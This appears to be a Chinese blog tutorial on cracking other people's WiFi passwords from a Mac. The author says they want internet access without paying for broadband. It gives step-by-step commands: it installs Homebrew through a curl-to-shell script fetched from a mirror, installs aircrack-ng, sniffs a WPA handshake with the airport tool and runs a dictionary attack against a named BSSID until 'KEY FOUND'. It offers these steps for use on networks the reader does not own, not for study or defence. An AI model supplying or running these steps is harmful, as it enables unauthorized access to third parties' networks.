MAC系统破解wifi(保姆版)

时间:2024-03-11 07:44:52

​ 首先介绍一下事情的起因,是这样的,我大学毕业之前工作的地方为我安排了住宿,由于住宿的地方没有包网又因为种种原因我可能在短时间内要安排更换住址所以舍不得办理宽带,在电脑上安装Kali后发现抓的包居然没有bssid??刚好我又在倒腾台式机的黑苹果,就干脆忍痛买了BCM94331CD这款网卡(对于这款网卡的坑我们可以之后说)

​ 那么废话不多说,我们直接开始吧,正如标题所说这是保姆级的教程,保证所有小白都能学会.

​ 首先你要查看你的苹果系统是否有网卡(废话),然后你的mac系统需要有xcode开发者工具(在appstore里面有,如果本机不能联网的可以在苹果官网开发者里找到镜像下载后复制到mac里 https://developer.apple.com/download/more/ )

​ 然后坑来了,网上所有的教程都叫你使用macports,但是这个软件下载速度极慢,国内的源也基本是没有了,奈何苦逼的我VPN真好又被ban了,所以根本下不了需要的软件,所以我们需要另外一个包版本工具(homebrew),安装方法也很简单,在控制台输入

/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"

一路下一步就好了.

​ 接下来我们需要利用homebrew安装无线嗅探软件aircrack-ng 命令

brew install aircrack-ng

​ 有了以上软件,我们只需要在命令行中打开airport工具抓包静静等待用户连接就好啦!

sudo airport en2 sniff 1

参数解释:

en2:你无限网卡的名称,可以通过ifconfig查看

sniff 1:扫描的频道 这里我选择1

抓到包后按ctrl加c 结束,在/tmp这个目录中会生成.cap文件

​ 然后在文件所在目录打开命令行 输入sudo aircrack-ng xxx.cap命令打开破解文件

这时候命令行会有一大堆文件信息,不用管他,直接全部复制粘贴到文本编辑器,利用搜索功能搜索:1 handshake ,只要有这个标志的说明跑包握手成功了,这个包可以破解,否则就是抓取的包没有用,要重新抓包

先进入字典所在目录

cd ~/password

开始破解

sudo aircrack-ng -w password.txt -b c8:3a:35:30:3e:c8 /tmp/*.cap

破解成功
KEY FOUND